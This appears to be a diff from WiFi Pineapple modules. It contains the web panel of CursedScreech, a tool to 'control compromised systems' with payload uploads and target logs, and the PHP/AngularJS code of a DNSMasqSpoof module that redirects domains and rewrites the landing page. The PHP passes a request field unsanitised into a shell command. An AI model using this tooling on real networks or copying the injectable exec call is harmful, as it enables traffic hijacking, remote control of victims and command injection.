<table width="100%">
|
||||
<tr><td align="right">
|
||||
<img ng-show="uploadLimitThrobber" ng-hide="!uploadLimitThrobber" src='/img/throbber.gif'/>
|
||||
<a href="" ng-show="!uploadLimitThrobber" ng-hide="uploadLimitThrobber" ng-click="configUploadLimit();">Configure Upload Limit</a>
|
||||
</td></tr>
|
||||
</table>
|
||||
<div>
|
||||
<table class="table">
|
||||
<thead>
|
||||
<th>Payload</th>
|
||||
<th>Actions</th>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="payload in payloads">
|
||||
<td>{{ payload.fileName }}</td>
|
||||
<td><button class="btn cs_hoverDanger" ng-click="deletePayload(payload);"><img src="/modules/CursedScreech/includes/icons/glyphicons-17-bin.png"/></button>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<div style="text-align:center">
|
||||
<button class="btn cs_hoverInfo" data-toggle="modal" data-target="#cs_uploaderView"><img src="/modules/CursedScreech/includes/icons/glyphicons-202-upload.png"/> Upload Payload</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ====================== -->
|
||||
<!-- END ACTIVITY LOG PANEL -->
|
||||
<!-- ====================== -->
|
||||
|
||||
<!-- =================== -->
|
||||
<!-- BEGIN KEY MODAL -->
|
||||
<!-- =================== -->
|
||||
|
||||
<div id="cs_keyModal" class="modal fade" rold="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<table style="width: 100%">
|
||||
<tr><td align="left">
|
||||
<h3 class="panel-title">Certificate Store</h3>
|
||||
</td><td align="right">
|
||||
<button type="button" class="btn" ng-show="!showCertThrobber" ng-hide="showCertThrobber" data-toggle="modal" data-target="#cs_viewLogInfo" ng-click="readLog('key.help','help');">?</button>
|
||||
</td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="table-responsive table-dropdown">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Name</th>
|
||||
<th>Type</th>
|
||||
<th>Files</th>
|
||||
<th>Encrypted</th>
|
||||
<th>Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="(index,data) in certificates">
|
||||
<td>{{ data.Name }}</td>
|
||||
<td>{{ data.KeyType }}</td>
|
||||
<td>{{ data.Type }}</td>
|
||||
<td>{{ data.Encrypted }}</td>
|
||||
<td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" ng-disabled="selectKuroKey && data.Encrypted == 'Yes'" ng-click="selectKey(data.Name);">Select</button>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div style="text-align:center">
|
||||
<h4>{{ keyErrorMessage }}</h4>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ================= -->
|
||||
<!-- END KEY MODAL -->
|
||||
<!-- ================= -->
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- BEGIN EZCMDS MODAL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
<div id="ezcmds_modal" class="modal fade" rold="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<h3>EZ Commands</h3>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th><button type="button" class="btn cs_hoverInfo" data-toggle="modal" data-target="#newEZCmdModal" ng-click=""><img src="/modules/CursedScreech/includes/icons/glyphicons-433-plus.png"/></button></th>
|
||||
<th>Name</th>
|
||||
<th>Command</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="(key, value) in ezcmds">
|
||||
<td>
|
||||
<button type="button" class="btn cs_hoverDanger" ng-disabled="key == 'Send File'" ng-click="deleteEZCmd(key);"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/></button>
|
||||
</td>
|
||||
<td style="width: 200px">
|
||||
<label class="form-label">{{ key }}</label>
|
||||
</td>
|
||||
<td>
|
||||
<input type="text" class="form-control" ng-model="ezcmds[key]" />
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div style="text-align: center">
|
||||
<button type="button" class="btn cs_hoverSuccess" style="width: 200px" ng-click="saveEZCmds();"><img src="/modules/CursedScreech/includes/icons/glyphicons-447-floppy-save.png"/> Save EZ Cmds</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="newEZCmdModal" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal=body">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Name</th>
|
||||
<th>Command</th>
|
||||
<th></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>
|
||||
<input type="text" class="form-control" ng-model="newCmdName" />
|
||||
</td>
|
||||
<td>
|
||||
<input type="text" class="form-control" ng-model="newCmdCommand" />
|
||||
</td>
|
||||
<td>
|
||||
<button class="btn cs_hoverSuccess" data-toggle="modal" data-target="#newEZCmdModal" ng-click="addEZCmd();"><img src="/modules/CursedScreech/includes/icons/glyphicons-447-floppy-save.png"/> Save</button>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- END EZCMDS MODAL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
<!-- ======================== -->
|
||||
<!-- BEGIN TARGET LOG MODAL -->
|
||||
<!-- ======================== -->
|
||||
|
||||
<div id="cs_allTargetLogs" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<h3>All Target Logs</h3>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<th>Socket</th>
|
||||
<th> Recv Log</th>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="log in allTargetLogs">
|
||||
<td>{{ log }}</td>
|
||||
<td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" data-toggle="modal" data-target="#cs_viewRecvData" ng-click="readLog(log, 'targets');"><img src="/modules/CursedScreech/includes/icons/glyphicons-28-search.png"/></button>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" ng-click="downloadLog(log, 'targets');"><img src="/modules/CursedScreech/includes/icons/glyphicons-201-download.png"/></button>
|
||||
<button type="button" class="btn btn-sm cs_hoverDanger" ng-click="deleteLog(log, 'targets');"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/></button>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ====================== -->
|
||||
<!-- END TARGET LOG MODAL -->
|
||||
<!-- ====================== -->
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- BEGIN RECVDATA MODAL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
<div id="cs_viewRecvData" class="modal fade" style="max-height: 900px; overflow-y:auto;" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<h3>{{ currentLogTitle }}</h3>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<pre>{{ currentLogData }}</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- END RECVDATA MODAL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
|
||||
<!-- =================== -->
|
||||
<!-- BEGIN LOG MODAL -->
|
||||
<!-- =================== -->
|
||||
|
||||
<div id="cs_viewLogInfo" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<h3>{{ currentLogTitle }}</h3>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<p ng-bind-html="currentLogData"></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ================= -->
|
||||
<!-- END LOG MODAL -->
|
||||
<!-- ================= -->
|
||||
|
||||
<!-- ==================================== -->
|
||||
<!-- BEGIN ERROR LOG AND CHANGELOG PANELS -->
|
||||
<!-- ==================================== -->
|
||||
|
||||
<div class="col-md-12">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#errorlog">
|
||||
<h3 class="panel-title">Error Logs</h3>
|
||||
</div>
|
||||
<div id="errorlog" class="panel-body panel-collapse collapse">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Log Name</th>
|
||||
<th>Actions</th>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="log in logs">
|
||||
<td>{{ log }}</td>
|
||||
<td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" data-toggle="modal" data-target="#cs_viewLogInfo" ng-click="readLog(log, 'error');"><img src="/modules/CursedScreech/includes/icons/glyphicons-28-search.png"/></button>
|
||||
<button type="button" class="btn btn-sm cs_hoverDanger" ng-click="deleteLog(log, 'error');">Delete</button>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-md-12">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#changelog">
|
||||
<h3 class="panel-title">Change Log</h3>
|
||||
</div>
|
||||
<div id="changelog" class="panel-body panel-collapse collapse">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Version</th>
|
||||
<th>Actions</th>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="version in changelogs">
|
||||
<td>{{ version }}</td>
|
||||
<td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" data-toggle="modal" data-target="#cs_viewLogInfo" ng-click="readLog(version, 'changelog');"><img src="/modules/CursedScreech/includes/icons/glyphicons-28-search.png"/></button>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ================================== -->
|
||||
<!-- END ERROR LOG AND CHANGELOG PANELS -->
|
||||
<!-- ================================== -->
|
||||
|
||||
|
||||
<!-- ====================== -->
|
||||
<!-- BEGIN UPLOADER MODAL -->
|
||||
<!-- ====================== -->
|
||||
|
||||
<div id="cs_uploaderView" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<div class="btn btn-primary">
|
||||
<label for="selectedFiles" style="cursor: pointer">Add files</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
|
||||
<table class="table">
|
||||
<thead>
|
||||
<th>File</th>
|
||||
<th>Actions</th>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="file in selectedFiles">
|
||||
<td>{{ file.name }}</td>
|
||||
<td><button class="btn cs_hoverDanger" ng-click="removeSelectedFile(file);"><img src="/modules/CursedScreech/includes/icons/glyphicons-17-bin.png"/></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<div style="text-align:center">
|
||||
<input type="file" accept=".exe, .ps1, .bat" id="selectedFiles" onchange="angular.element(this).scope().setSelectedFiles()" style="visibility: hidden;" multiple>
|
||||
<img ng-show="uploading" ng-hide="!uploading" src='/img/throbber.gif'/>
|
||||
<button class="btn" ng-show="!uploading" ng-hide="uploading" ng-class="{'cs_hoverInfo' : selectedFiles.length > 0}" ng-disabled="selectedFiles.length == 0" ng-click="uploadFile();"><img src="/modules/CursedScreech/includes/icons/glyphicons-202-upload.png"/> Upload</button>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- END UPLOADER MODAL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
</div>
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "sud0nick",
|
||||
"description": "Securely control compromised systems.",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "CursedScreech",
|
||||
"version": "1.2"
|
||||
}
|
|
@ -0,0 +1,229 @@
|
|||
<?php namespace pineapple;
|
||||
putenv('LD_LIBRARY_PATH='.getenv('LD_LIBRARY_PATH').':/sd/lib:/sd/usr/lib');
|
||||
putenv('PATH='.getenv('PATH').':/sd/usr/bin:/sd/usr/sbin');
|
||||
|
||||
class DNSMasqSpoof extends Module
|
||||
{
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'refreshInfo':
|
||||
$this->refreshInfo();
|
||||
break;
|
||||
case 'refreshOutput':
|
||||
$this->refreshOutput();
|
||||
break;
|
||||
case 'refreshStatus':
|
||||
$this->refreshStatus();
|
||||
break;
|
||||
case 'toggleDNSMasqSpoof':
|
||||
$this->toggleDNSMasqSpoof();
|
||||
break;
|
||||
case 'handleDependencies':
|
||||
$this->handleDependencies();
|
||||
break;
|
||||
case 'handleDependenciesStatus':
|
||||
$this->handleDependenciesStatus();
|
||||
break;
|
||||
case 'toggleDNSMasqSpoofOnBoot':
|
||||
$this->toggleDNSMasqSpoofOnBoot();
|
||||
break;
|
||||
case 'saveLandingPageData':
|
||||
$this->saveLandingPageData();
|
||||
break;
|
||||
case 'getLandingPageData':
|
||||
$this->getLandingPageData();
|
||||
break;
|
||||
case 'saveHostsData':
|
||||
$this->saveHostsData();
|
||||
break;
|
||||
case 'getHostsData':
|
||||
$this->getHostsData();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
protected function checkDependency($dependencyName)
|
||||
{
|
||||
return ((exec("which {$dependencyName}") == '' ? false : true) && ($this->uciGet("dnsmasqspoof.module.installed")));
|
||||
}
|
||||
|
||||
protected function getDevice()
|
||||
{
|
||||
return trim(exec("cat /proc/cpuinfo | grep machine | awk -F: '{print $2}'"));
|
||||
}
|
||||
|
||||
protected function checkRunning($processName)
|
||||
{
|
||||
return exec("ps w | grep {$processName} | grep -v grep") !== '' && exec("grep addn-hosts /etc/dnsmasq.conf") !== '' ? 1 : 0;
|
||||
}
|
||||
|
||||
protected function refreshInfo()
|
||||
{
|
||||
$moduleInfo = @json_decode(file_get_contents("/pineapple/modules/DNSMasqSpoof/module.info"));
|
||||
$this->response = array('title' => $moduleInfo->title, 'version' => $moduleInfo->version);
|
||||
}
|
||||
|
||||
private function handleDependencies()
|
||||
{
|
||||
if(!$this->checkDependency("dnsmasq"))
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/DNSMasqSpoof/scripts/dependencies.sh install ".$this->request->destination);
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/DNSMasqSpoof/scripts/dependencies.sh remove");
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
}
|
||||
|
||||
private function handleDependenciesStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/DNSMasqSpoof.progress'))
|
||||
{
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = array('success' => false);
|
||||
}
|
||||
}
|
||||
|
||||
private function toggleDNSMasqSpoofOnBoot()
|
||||
{
|
||||
if(exec("cat /etc/rc.local | grep DNSMasqSpoof/scripts/autostart_dnsmasqspoof.sh") == "")
|
||||
{
|
||||
exec("sed -i '/exit 0/d' /etc/rc.local");
|
||||
exec("echo /pineapple/modules/DNSMasqSpoof/scripts/autostart_dnsmasqspoof.sh >> /etc/rc.local");
|
||||
exec("echo exit 0 >> /etc/rc.local");
|
||||
}
|
||||
else
|
||||
{
|
||||
exec("sed -i '/DNSMasqSpoof\/scripts\/autostart_dnsmasqspoof.sh/d' /etc/rc.local");
|
||||
}
|
||||
}
|
||||
|
||||
private function toggleDNSMasqSpoof()
|
||||
{
|
||||
if(!$this->checkRunning("dnsmasq"))
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/DNSMasqSpoof/scripts/dnsmasqspoof.sh start");
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/DNSMasqSpoof/scripts/dnsmasqspoof.sh stop");
|
||||
}
|
||||
}
|
||||
|
||||
private function refreshStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/DNSMasqSpoof.progress'))
|
||||
{
|
||||
if (!$this->checkDependency("dnsmasq"))
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Not installed";
|
||||
$installLabel = "danger";
|
||||
$processing = false;
|
||||
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = true;
|
||||
$install = "Installed";
|
||||
$installLabel = "success";
|
||||
$processing = false;
|
||||
|
||||
if($this->checkRunning("dnsmasq"))
|
||||
{
|
||||
$status = "Stop";
|
||||
$statusLabel = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
}
|
||||
|
||||
if(exec("cat /etc/rc.local | grep DNSMasqSpoof/scripts/autostart_dnsmasqspoof.sh") == "")
|
||||
{
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$bootLabelON = "success";
|
||||
$bootLabelOFF = "default";
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Installing...";
|
||||
$installLabel = "warning";
|
||||
$processing = true;
|
||||
|
||||
$status = "Not running";
|
||||
$statusLabel = "danger";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
|
||||
$device = $this->getDevice();
|
||||
$sdAvailable = $this->isSDAvailable();
|
||||
|
||||
$this->response = array("device" => $device, "sdAvailable" => $sdAvailable, "status" => $status, "statusLabel" => $statusLabel, "installed" => $installed, "install" => $install, "installLabel" => $installLabel, "bootLabelON" => $bootLabelON, "bootLabelOFF" => $bootLabelOFF, "processing" => $processing);
|
||||
}
|
||||
|
||||
private function refreshOutput()
|
||||
{
|
||||
if ($this->checkDependency("dnsmasq"))
|
||||
{
|
||||
if ($this->checkRunning("dnsmasq"))
|
||||
{
|
||||
$this->response = "DNSMasq Spoof is running...";
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "DNSMasq Spoof is not running...";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "DNSMasq Spoof is not installed...";
|
||||
}
|
||||
}
|
||||
|
||||
private function saveLandingPageData()
|
||||
{
|
||||
$filename = '/www/index.php';
|
||||
file_put_contents($filename, $this->request->configurationData);
|
||||
}
|
||||
|
||||
private function getLandingPageData()
|
||||
{
|
||||
$configurationData = file_get_contents('/www/index.php');
|
||||
$this->response = array("configurationData" => $configurationData);
|
||||
}
|
||||
|
||||
private function saveHostsData()
|
||||
{
|
||||
$filename = '/pineapple/modules/DNSMasqSpoof/hosts/dnsmasq.hosts';
|
||||
file_put_contents($filename, $this->request->configurationData);
|
||||
}
|
||||
|
||||
private function getHostsData()
|
||||
{
|
||||
$configurationData = file_get_contents('/pineapple/modules/DNSMasqSpoof/hosts/dnsmasq.hosts');
|
||||
$this->response = array("configurationData" => $configurationData);
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1 @@
|
|||
172.16.42.1 example.com www.example.com mail.example.com
|
|
@ -0,0 +1,298 @@
|
|||
registerController('DNSMasqSpoof_Controller', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.title = "Loading...";
|
||||
$scope.version = "Loading...";
|
||||
|
||||
$scope.refreshInfo = (function() {
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: "refreshInfo"
|
||||
}, function(response) {
|
||||
$scope.title = response.title;
|
||||
$scope.version = "v"+response.version;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.refreshInfo();
|
||||
|
||||
}]);
|
||||
|
||||
registerController('DNSMasqSpoof_ControlsController', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.status = "Loading...";
|
||||
$scope.statusLabel = "default";
|
||||
$scope.starting = false;
|
||||
|
||||
$scope.install = "Loading...";
|
||||
$scope.installLabel = "default";
|
||||
$scope.processing = false;
|
||||
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "default";
|
||||
|
||||
$scope.interfaces = [];
|
||||
$scope.selectedInterface = "";
|
||||
|
||||
$scope.saveSettingsLabel = "default";
|
||||
|
||||
$scope.device = '';
|
||||
$scope.sdAvailable = false;
|
||||
|
||||
$rootScope.status = {
|
||||
installed : false,
|
||||
refreshOutput : false
|
||||
};
|
||||
|
||||
$scope.refreshStatus = (function() {
|
||||
$api.request({
|
||||
module: "DNSMasqSpoof",
|
||||
action: "refreshStatus"
|
||||
}, function(response) {
|
||||
$scope.status = response.status;
|
||||
$scope.statusLabel = response.statusLabel;
|
||||
|
||||
$rootScope.status.installed = response.installed;
|
||||
$scope.device = response.device;
|
||||
$scope.sdAvailable = response.sdAvailable;
|
||||
if(response.processing) $scope.processing = true;
|
||||
$scope.install = response.install;
|
||||
$scope.installLabel = response.installLabel;
|
||||
|
||||
$scope.bootLabelON = response.bootLabelON;
|
||||
$scope.bootLabelOFF = response.bootLabelOFF;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.toggleDNSMasqSpoof = (function() {
|
||||
if($scope.status != "Stop")
|
||||
$scope.status = "Starting...";
|
||||
else
|
||||
$scope.status = "Stopping...";
|
||||
|
||||
$scope.statusLabel = "warning";
|
||||
$scope.starting = true;
|
||||
|
||||
$rootScope.status.refreshOutput = false;
|
||||
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'toggleDNSMasqSpoof',
|
||||
interface: $scope.selectedInterface
|
||||
}, function(response) {
|
||||
$timeout(function(){
|
||||
$rootScope.status.refreshOutput = true;
|
||||
|
||||
$scope.starting = false;
|
||||
$scope.refreshStatus();
|
||||
}, 2000);
|
||||
})
|
||||
});
|
||||
|
||||
$scope.saveAutostartSettings = (function() {
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'saveAutostartSettings',
|
||||
settings: { interface : $scope.selectedInterface }
|
||||
}, function(response) {
|
||||
$scope.saveSettingsLabel = "success";
|
||||
$timeout(function(){
|
||||
$scope.saveSettingsLabel = "default";
|
||||
}, 2000);
|
||||
})
|
||||
});
|
||||
|
||||
|
||||
$scope.toggleDNSMasqSpoofOnBoot = (function() {
|
||||
if($scope.bootLabelON == "default")
|
||||
{
|
||||
$scope.bootLabelON = "success";
|
||||
$scope.bootLabelOFF = "default";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "danger";
|
||||
}
|
||||
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'toggleDNSMasqSpoofOnBoot',
|
||||
}, function(response) {
|
||||
$scope.refreshStatus();
|
||||
})
|
||||
});
|
||||
|
||||
$scope.handleDependencies = (function(param) {
|
||||
if(!$rootScope.status.installed)
|
||||
$scope.install = "Installing...";
|
||||
else
|
||||
$scope.install = "Removing...";
|
||||
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'handleDependencies',
|
||||
destination: param
|
||||
}, function(response){
|
||||
if (response.success === true) {
|
||||
$scope.installLabel = "warning";
|
||||
$scope.processing = true;
|
||||
|
||||
$scope.handleDependenciesInterval = $interval(function(){
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'handleDependenciesStatus'
|
||||
}, function(response) {
|
||||
if (response.success === true){
|
||||
$scope.processing = false;
|
||||
$interval.cancel($scope.handleDependenciesInterval);
|
||||
$scope.refreshStatus();
|
||||
}
|
||||
});
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getInterfaces = (function() {
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'getInterfaces'
|
||||
}, function(response) {
|
||||
$scope.interfaces = response.interfaces;
|
||||
if(response.selected != "")
|
||||
$scope.selectedInterface = response.selected;
|
||||
else
|
||||
$scope.selectedInterface = $scope.interfaces[0];
|
||||
});
|
||||
});
|
||||
|
||||
$scope.refreshStatus();
|
||||
$scope.getInterfaces();
|
||||
}]);
|
||||
|
||||
registerController('DNSMasqSpoof_OutputController', ['$api', '$scope', '$rootScope', '$interval', function($api, $scope, $rootScope,$interval) {
|
||||
$scope.output = 'Loading...';
|
||||
$scope.filter = '';
|
||||
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
|
||||
$scope.refreshOutput = (function() {
|
||||
$api.request({
|
||||
module: "DNSMasqSpoof",
|
||||
action: "refreshOutput",
|
||||
filter: $scope.filter
|
||||
}, function(response) {
|
||||
$scope.output = response;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.clearFilter = (function() {
|
||||
$scope.filter = '';
|
||||
$scope.refreshOutput();
|
||||
});
|
||||
|
||||
$scope.toggleAutoRefresh = (function() {
|
||||
if($scope.autoRefreshInterval)
|
||||
{
|
||||
$interval.cancel($scope.autoRefreshInterval);
|
||||
$scope.autoRefreshInterval = null;
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.refreshLabelON = "success";
|
||||
$scope.refreshLabelOFF = "default";
|
||||
|
||||
$scope.autoRefreshInterval = $interval(function(){
|
||||
$scope.refreshOutput();
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
|
||||
$scope.refreshOutput();
|
||||
|
||||
$rootScope.$watch('status.refreshOutput', function(param) {
|
||||
if(param) {
|
||||
$scope.refreshOutput();
|
||||
}
|
||||
});
|
||||
|
||||
}]);
|
||||
|
||||
registerController('DNSMasqSpoof_HostsController', ['$api', '$scope', '$timeout', function($api, $scope, $timeout) {
|
||||
$scope.configurationData = '';
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
|
||||
$scope.saveConfigurationData = (function() {
|
||||
$scope.saveConfigurationLabel = "warning";
|
||||
$scope.saveConfiguration = "Saving...";
|
||||
$scope.saving = true;
|
||||
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'saveHostsData',
|
||||
configurationData: $scope.configurationData
|
||||
}, function(response) {
|
||||
$scope.saveConfigurationLabel = "success";
|
||||
$scope.saveConfiguration = "Saved";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData = (function() {
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'getHostsData'
|
||||
}, function(response) {
|
||||
$scope.configurationData = response.configurationData;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData();
|
||||
}]);
|
||||
|
||||
registerController('DNSMasqSpoof_LandingPageController', ['$api', '$scope', '$timeout', function($api, $scope, $timeout) {
|
||||
$scope.configurationData = '';
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
|
||||
$scope.saveConfigurationData = (function() {
|
||||
$scope.saveConfigurationLabel = "warning";
|
||||
$scope.saveConfiguration = "Saving...";
|
||||
$scope.saving = true;
|
||||
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'saveLandingPageData',
|
||||
configurationData: $scope.configurationData
|
||||
}, function(response) {
|
||||
$scope.saveConfigurationLabel = "success";
|
||||
$scope.saveConfiguration = "Saved";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData = (function() {
|
||||
$api.request({
|
||||
module: 'DNSMasqSpoof',
|
||||
action: 'getLandingPageData'
|
||||
}, function(response) {
|
||||
$scope.configurationData = response.configurationData;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData();
|
||||
}]);
|
|
@ -0,0 +1,122 @@
|
|||
<div class="panel panel-default" ng-controller="DNSMasqSpoof_Controller"><div class="panel-heading"><h4 class="panel-title pull-left">{{title}}</h4><span class="pull-right">{{version}}</span><div class="clearfix"></div></div></div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
